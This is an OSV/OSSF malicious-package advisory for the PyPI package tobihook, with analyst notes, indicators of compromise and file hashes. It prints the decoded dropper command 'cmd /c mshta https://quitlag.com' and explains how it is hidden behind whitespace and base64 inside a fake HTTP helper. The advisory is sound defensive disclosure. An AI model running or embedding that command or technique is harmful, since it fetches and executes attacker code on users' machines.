MAL-2026-5995

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/tobihook/MAL-2026-5995.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5995
Published
2026-06-17T04:22:21Z
Modified
2026-06-17T11:45:59.613670367Z
Summary
Malicious code in tobihook (PyPI)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2c093ec7049ebbe26ca860033bc1fd81ad98f4f586b66fc68170e1ff81ae90bb)

The package masquerades as an HTTP helper (functions named post/get/fetch, module comment '# request/init.py', and an unused requests dependency) but each of those functions base64-decodes the string 'cmd /c mshta https://quitlag.com' and launches it via subprocess.Popen with CREATENOWINDOW on Windows. mshta.exe then fetches and executes attacker-controlled HTA/JavaScript from quitlag.com on the caller's machine with no visible window. The malicious code is concealed in tobihook/post.py behind roughly 400 lines of leading whitespace and base64 obfuscation, and the dropper is reachable from the package's documented top-level API (tobihook/init.py re-exports post). Any developer who installs tobihook and calls its advertised post()/get()/fetch() triggers remote code execution on a Windows host.

Source: kam193 (052494dbc6267dbb289d7f0459188ecce627e3c3eb1d7a8892795003ff8bff53)

Code contains lightly obfuscated commands executing remote scripts using mshta utility. The code does not contain any different functionality and the target URL is already flagged as potentially dangerous.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-tobihook

Reasons (based on the campaign):

  • Downloads and executes a remote malicious script.

  • tool:mshta

  • obfuscation

Database specific 
{
    "iocs": {
        "domains": [
            "quitlag.com"
        ],
        "urls": [
            "https://quitlag.com"
        ]
    },
    "malicious-packages-origins": [
        {
            "sha256": "2c093ec7049ebbe26ca860033bc1fd81ad98f4f586b66fc68170e1ff81ae90bb",
            "import_time": "2026-06-17T05:45:42.031525513Z",
            "versions": [
                "1.0.4"
            ],
            "source": "amazon-inspector",
            "id": "IN-MAL-2026-006881",
            "modified_time": "2026-06-17T04:22:21Z"
        },
        {
            "versions": [
                "1.0.4"
            ],
            "import_time": "2026-06-17T11:38:57.758257846Z",
            "sha256": "052494dbc6267dbb289d7f0459188ecce627e3c3eb1d7a8892795003ff8bff53",
            "source": "kam193",
            "id": "pypi/2026-06-tobihook/tobihook",
            "modified_time": "2026-06-17T09:32:21.283072Z"
        }
    ]
}
References
Credits

Affected packages

PyPI / tobihook

Package

Name
tobihook
View open source insights on deps.dev
Purl
pkg:pypi/tobihook

Affected ranges

Affected versions

1.*
1.0.4

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "sha256": "447e5ecc54a7119c09666ecfdbf02d6ce944ee370baa06ef9f2a704302c32d58",
            "tlsh": "9931f48fe32b478843a308af2009ac72d7d70405d3222986fb1d97a02f09464a43e87d",
            "path": "tobihook/post.py"
        },
        {
            "sha256": "afb179d86f84de6d45ef4944dbf13ede041dcca7bcdb71d47df340ea7579a198",
            "tlsh": "9790024e4467760be2644084052107100929a4307f2014783004a5ac63466140410108",
            "path": "tobihook/__init__.py"
        }
    ],
    "package_integrity": [
        {
            "hashes": {
                "sha256": "51936e8835e6f0501d7e2aa6b1e4d44bfa1c273dd030bc469f52354f26de88fa",
                "blake2b_256": "596f2c5ff209e5e7edf7117cfb076ac5509d90e2df79f195f856cf638862df61",
                "md5": "c6e1aadfd1e5600b697e835c64398ed5"
            },
            "filename": "tobihook-1.0.4-py3-none-any.whl"
        },
        {
            "hashes": {
                "sha256": "1059215361577e38a8ad04b98c56aac494c93a52714e8a512cfac7c0f008c443",
                "blake2b_256": "26d20b14018d25c92b3eda5babd8dc4281ff86ddeca752dd90f2fa3ebb0fc3c8",
                "md5": "c8c5236ca6ad0adb8cc9dc9d8855ef7d"
            },
            "filename": "tobihook-1.0.4.tar.gz"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/tobihook/MAL-2026-5995.json"